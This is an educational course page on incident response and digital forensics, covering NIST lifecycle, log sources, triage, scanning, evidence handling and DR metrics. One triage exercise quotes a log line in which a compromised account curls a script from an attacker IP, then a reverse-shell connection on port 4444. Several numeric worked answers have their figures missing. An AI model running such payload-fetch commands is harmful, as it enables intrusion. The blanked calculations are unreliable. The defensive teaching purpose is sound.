PadhaikoAll subjects

Incident Response and Risk Management

Network and Cyber Security (ENCT 463)

Open in the Padhaiko app

6.1 Incident Response Planning and Management

Preventive controls reduce risk, but no defense is impenetrable. Incident Response (IR) is the structured organizational capability to prepare for, detect, contain, eradicate, and recover from cyber security incidents rapidly while minimizing operational damage, data loss, and legal exposure.

Incident Response Plan (IRP) and Team Structure

NIST SP 800-61 Incident Response Lifecycle

  1. Preparation: Build the CSIRT, deploy SIEM/EDR/centralized logging, maintain offline backups, prepare forensic jump kits, and conduct tabletop exercises before an attack occurs.
  2. Detection and Analysis: Monitor alerts, correlate logs, validate true positives, determine scope, and classify severity.
  3. Containment, Eradication, and Recovery:
    • Containment: Stop the bleeding immediately (isolate host on EDR, disable compromised account, block C2 IP/domain) without destroying volatile forensic evidence.
    • Eradication: Remove root cause—delete malware/persistence mechanisms, close exploited vulnerabilities, reset compromised credentials.
    • Recovery: Restore clean systems from verified backups, monitor closely for re-infection, and return to production.
  4. Post-Incident Activity: Conduct lessons-learned reviews, calculate response metrics, and update detection rules and controls.

6.2 Incident Identification and Classification

Accurate identification prevents both alert fatigue (chasing benign anomalies) and missed breaches (ignoring subtle compromises).

Definition

Event, Alert, and Security Incident

Incident Classification & Severity Matrix

Incidents are categorized by attack vector (Malware, Ransomware, Phishing/BEC, Unauthorized Access, DoS/DDoS, Data Exfiltration, Insider Threat) and assigned a Priority / Severity based on Asset Criticality Impact Scope:


6.3 Security Monitoring and Log Analysis (System, Application, Firewall and Authentication Logs, Indicators of Compromise, Alert Investigation)

Effective monitoring centralizes telemetry into a SIEM (Security Information and Event Management) platform with synchronized NTP clocks in UTC so timelines across machines align accurately.

Core Log Sources for Security Monitoring
Log SourceTypical Location / FormatKey Security Signals
System / OS LogsLinux /var/log/syslog, Windows Event Logs (4688 process create, 7045 new service)Unexpected services, scheduled tasks, privilege escalation, kernel crashes
Application LogsWeb servers (access.log, error.log), DB audit logsSQLi payloads (UNION SELECT), path traversal (../), abnormal 500 errors, large POST/download spikes
Firewall LogsPerimeter / NGFW syslog (ALLOW/DENY, 5-tuple, bytes)Outbound C2 connections on non-standard ports, large anomalous egress transfers, internal port sweeps
Authentication Logs/var/log/auth.log, AD Security (4624 logon, 4625 failed logon), IdP/SSOPassword spraying, impossible travel, off-hours logins, sudden MFA push fatigue

Indicators of Compromise (IoCs) vs. Indicators of Attack (IoAs)

Alert Investigation Workflow

  1. Verify Context: Inspect raw logs around the alert timestamp (process parent-child tree, source IP reputation, user role).
  2. Determine Scope: Identify "patient zero" and pivot across SIEM logs to see if other hosts communicated with the same C2 IP or account.
  3. Rule Out or Confirm: Classify as False Positive (tune rule), Benign True Positive (authorized pentest/admin script), or Malicious True Positive (escalate to incident).

6.4 Incident Triage and Escalation (Event Correlation and Detection Rules)

1. Triage and Escalation

Triage is the rapid sorting and prioritization of incoming alerts so analysts tackle high-impact threats first rather than processing alerts strictly FIFO.

2. Event Correlation and Detection Rules

Individual log lines rarely tell the whole story. A SIEM correlation rule links related events across distinct sources within a sliding time window to detect multi-stage attacks with far fewer false positives:

Example 1

SIEM Log Correlation and Triage Investigation (6 marks)

A Tier-1 SOC analyst observes the following correlated log sequence (UTC) for server app-srv-02 (10.20.1.15):

Correlated SIEM EventsText
14:02:11  AUTH      198.51.100.77 -> 10.20.1.15  Failed SSH login (user: deploy) [x24 in 40s]
14:02:58  AUTH      198.51.100.77 -> 10.20.1.15  Accepted password for deploy
14:03:19  OS/AUDIT  10.20.1.15    user=deploy    Executed: curl http://203.0.113.44/lin.sh -o /tmp/lin.sh
14:03:45  FIREWALL  10.20.1.15    -> 203.0.113.44:4444  ALLOW OUTBOUND TCP (bytes=48,200)

(a) Classify the incident and severity, (b) list the IoCs, and (c) state immediate containment and eradication actions.

Classify the incident and extract IoCs:

  • Classification: Unauthorized Access + Malware Staging / C2 Beaconing (brute-force SSH compromise followed by payload download and reverse-shell egress).
  • Severity: High (P2) (or P1 if app-srv-02 hosts sensitive production customer data), requiring immediate escalation.
  • Extracted IoCs: Attacker IPs 198.51.100.77 and 203.0.113.44, port 4444/tcp, URL http://203.0.113.44/lin.sh, file path /tmp/lin.sh, and compromised account deploy.

Execute Containment, Eradication, and Follow-up:

  • Containment: Network-isolate app-srv-02 via EDR/firewall (keeping memory intact if forensics is needed), lock/disable the deploy account and revoke its SSH keys, and block 198.51.100.77 and 203.0.113.44 at the perimeter firewall.
  • Eradication & Recovery: Inspect /tmp/lin.sh, cron jobs, authorized_keys, and running processes for persistence; rebuild app-srv-02 from a known-good image if integrity cannot be guaranteed; enforce SSH key-only auth + MFA and restrict SSH access to VPN/bastion IPs only.
Answer:

Confirmed SSH brute-force compromise and C2 callback (High/P2). Isolate app-srv-02, disable deploy, block 198.51.100.77 and 203.0.113.44, check for persistence/lateral movement, and harden SSH behind VPN + key/MFA auth.


6.5 Risk Assessment and Vulnerability Scanning

Risk Assessment identifies organizational assets, maps threats and vulnerabilities, scores likelihood and impact, and prioritizes remediation before incidents occur.

Vulnerability Scanning & CVSS Prioritization

AspectVulnerability ScanningPenetration Testing
GoalBroadly identify and inventory known CVEs and misconfigurationsActively exploit vulnerabilities to prove real-world impact and chaining paths
MethodMostly automated (Nessus, OpenVAS, Qualys)Manual + tool-assisted human creativity (exploitation, pivoting, privilege escalation)
FrequencyContinuous / weekly / monthlyPeriodic (quarterly, annually, or after major releases)
False PositivesModerate (requires analyst validation)Near zero (successful exploitation proves the flaw is real)

6.6 Digital Forensics and Evidence Handling (Preservation of Logs and Digital Evidence, Basic File and Log Examination, Evidence Integrity, Documentation and Chain of Custody)

When an incident may lead to disciplinary action, regulatory audit, or criminal prosecution, evidence must be collected and preserved in a forensically sound manner.

1. Order of Volatility (RFC 3227)

Evidence vanishes at different speeds. Investigators always collect from most volatile to least volatile:

  1. CPU registers and cache
  2. Routing tables, ARP cache, process table, kernel statistics, and RAM (physical memory) (holds decrypted keys, unlinked malware, active sockets)
  3. Temporary file systems / swap space
  4. Hard disks / SSDs (non-volatile storage)
  5. Remote logging & monitoring data (SIEM/syslog)
  6. Physical configuration, network topology, and archival offline backups

2. Evidence Preservation & Integrity

3. Basic File and Log Examination & Chain of Custody


6.7 Post-Incident Analysis, Reporting and Disaster Recovery Planning

1. Post-Incident Analysis and Reporting

2. Disaster Recovery Planning (DRP) & Business Continuity (BCP)

While BCP keeps critical business processes running during disruptions, DRP focuses on restoring IT systems, networks, and data after major cyber incidents or physical disasters.

Definition

RTO, RPO, MTBF, MTTR, and Availability

Example 2

Evaluating Availability, MTTD/MTTR, and RPO Compliance (5 marks)

A payment gateway operates with and . Its Disaster Recovery Plan mandates and . (a) Compute the system's steady-state availability as a percentage. (b) Backups consist of a weekly Sunday full backup plus incremental snapshots every , and full restoration takes (plus for log validation). Does this backup plan meet both RPO and RTO?

Compute Steady-State Availability:

Check RPO and RTO compliance:

  • Worst-case data loss (RPO check): Because incremental backups run every , a crash just before the next snapshot loses at most of transactions. Since , the RPO target is met.
  • Worst-case recovery duration (RTO check): Restoration + verification takes . Since , the RTO target is met (assuming the incremental chain is tested regularly and stored offline/immutable against ransomware).
Answer:

(a) Steady-state availability . (b) Yes: max data loss is (RPO met), and recovery takes (RTO met).

Example 3

Forensic Acquisition and Chain of Custody on a Compromised Host (Exam Model) (6 marks)

An administrator suspects a Linux database server has been compromised by a memory-resident backdoor. Outline the forensically sound steps to preserve evidence under RFC 3227, verify integrity, and maintain Chain of Custody.

Capture volatile evidence first (RFC 3227 Order of Volatility): Before powering off or rebooting (which wipes RAM!), acquire a full physical memory dump (e.g., via LiME) along with active network connections, process lists, and kernel state onto an externally attached clean forensic drive, hashing the capture immediately with SHA-256.

Acquire non-volatile disk image and remote logs: Power down cleanly (or pull power only if active wiper malware threatens disk), remove/attach the disk via a hardware write blocker, create a raw bit-stream image (dc3dd), and record its SHA-256 hash. Export matching SIEM/firewall/auth logs to append-only storage with hashes.

Maintain Chain of Custody and work only on verified copies: Record evidence ID, UTC timestamps, collector name/signature, storage location, and SHA-256 digests on the Chain of Custody log for every transfer. Perform all file/MACB timeline examination strictly on a verified working copy of the image, never on the master evidence drive.

Answer:

Collect volatile RAM and socket state before powering down, image storage through a hardware write blocker with immediate SHA-256 hashing, preserve remote SIEM logs, and document every custody transfer on a signed Chain of Custody log while analyzing only copies.


Exercises

Question 1

A cloud cluster has and . Calculate its availability percentage and average downtime over a -day (-hour) month. If the organization's SLA requires , would daily midnight backups satisfy it?

Compute Availability and monthly downtime:

Evaluate RPO compliance: Daily midnight backups allow up to of data loss if failure occurs at , violating . Hourly snapshots or continuous database log replication is required instead.

Answer:

Availability ( downtime per month). Daily backups fail ; hourly/continuous replication is needed.

Question 2

List the four phases of the NIST SP 800-61 Incident Response Lifecycle and clearly distinguish between Containment, Eradication, and Recovery.

State the four NIST SP 800-61 phases:

  1. Preparation (tools, playbooks, training, logging, backups)
  2. Detection and Analysis (monitoring, alert triage, scoping, severity classification)
  3. Containment, Eradication, and Recovery
  4. Post-Incident Activity (lessons learned, metrics, control updates)

Distinguish Containment, Eradication, and Recovery:

  • Containment limits damage immediately (isolating infected hosts, blocking C2 IPs, suspending accounts) without erasing evidence.
  • Eradication eliminates the attacker's foothold (removing malware, backdoors, persistence scripts, and patching the exploited vulnerability).
  • Recovery restores clean data/services from trusted backups, validates integrity, and monitors closely during return to production.
Answer:

NIST 800-61 comprises Preparation, Detection & Analysis, Containment/Eradication/Recovery, and Post-Incident Activity. Containment isolates impact, Eradication removes root cause and persistence, and Recovery safely restores normal operations.

Question 3

Explain why Event Correlation across System, Firewall, and Authentication logs is superior to single-log alerting, and define IoC vs. IoA.

Explain cross-source Event Correlation: Single logs often look benign or noisy in isolation (e.g., occasional failed SSH logins happen constantly on public IPs). Correlating Authentication logs (4625 failures 4624 success), OS audit logs (suspicious process launch), and Firewall logs (outbound connection on an unusual port) within a short time window confirms a multi-step compromise with high confidence and low false positives.

Define IoC vs. IoA: An Indicator of Compromise (IoC) is a static forensic artifact (file hash, malicious IP/domain, registry key) showing past/present intrusion, whereas an Indicator of Attack (IoA) captures dynamic attacker behavior and intent (e.g., credential dumping or lateral movement tactics) regardless of specific hashes.

Answer:

Event correlation links weak signals across Auth, OS, and Firewall logs into high-confidence multi-stage alerts. IoCs are static artifacts of intrusion (hashes/IPs), whereas IoAs detect real-time adversarial behavior.

Question 4

Contrast Authenticated vs. Unauthenticated vulnerability scanning, and explain how Vulnerability Scanning differs from Penetration Testing.

Contrast Authenticated vs. Unauthenticated Scanning:

  • Unauthenticated scans probe externally without credentials, revealing exposed ports and banners like an outsider, but missing local OS/library vulnerabilities behind services.
  • Authenticated scans sign in with read-only privileges to inspect exact installed packages, patches, and configs, providing complete internal accuracy.

Compare Vulnerability Scanning vs. Penetration Testing: Vulnerability scanning is an automated, broad inventory of potential flaws (requiring verification of false positives). Penetration testing goes further: human testers chain and actively exploit vulnerabilities to prove business impact, bypass controls, and test detection/response.

Answer:

Authenticated scans use credentials to inspect internal patch/config state accurately, whereas unauthenticated scans see only the external surface. Vulnerability scanning catalogs potential flaws broadly; penetration testing actively exploits chained flaws to demonstrate real risk.

Question 5

State the RFC 3227 Order of Volatility for digital evidence collection and explain the purpose of write blockers, cryptographic hashing, and Chain of Custody.

List RFC 3227 Order of Volatility (most to least volatile): CPU registers/cache RAM (memory, network sockets, process state) Swap/temp files Disks/SSDs Remote logging/monitoring data Archival backups and topology records.

Explain forensic integrity controls:

  • Write Blocker: Hardware/software barrier preventing any write operations to original media so timestamps and unallocated sectors remain untouched.
  • Cryptographic Hashing (SHA-256): Generates a digital fingerprint at acquisition and before analysis to prove the forensic image is an exact, unaltered bit-for-bit copy.
  • Chain of Custody: Chronological signed ledger documenting every person who handled, transferred, or stored the evidence with timestamps and hashes, preserving legal admissibility.
Answer:

Collect most volatile evidence first (Registers RAM Swap Disk Remote logs Backups). Write blockers prevent source modification, SHA-256 hashing proves bit-exact integrity, and Chain of Custody documents unbroken custody for court admissibility.

← Malware and Cyber AttacksEthical and Legal Aspects of Cyber Security →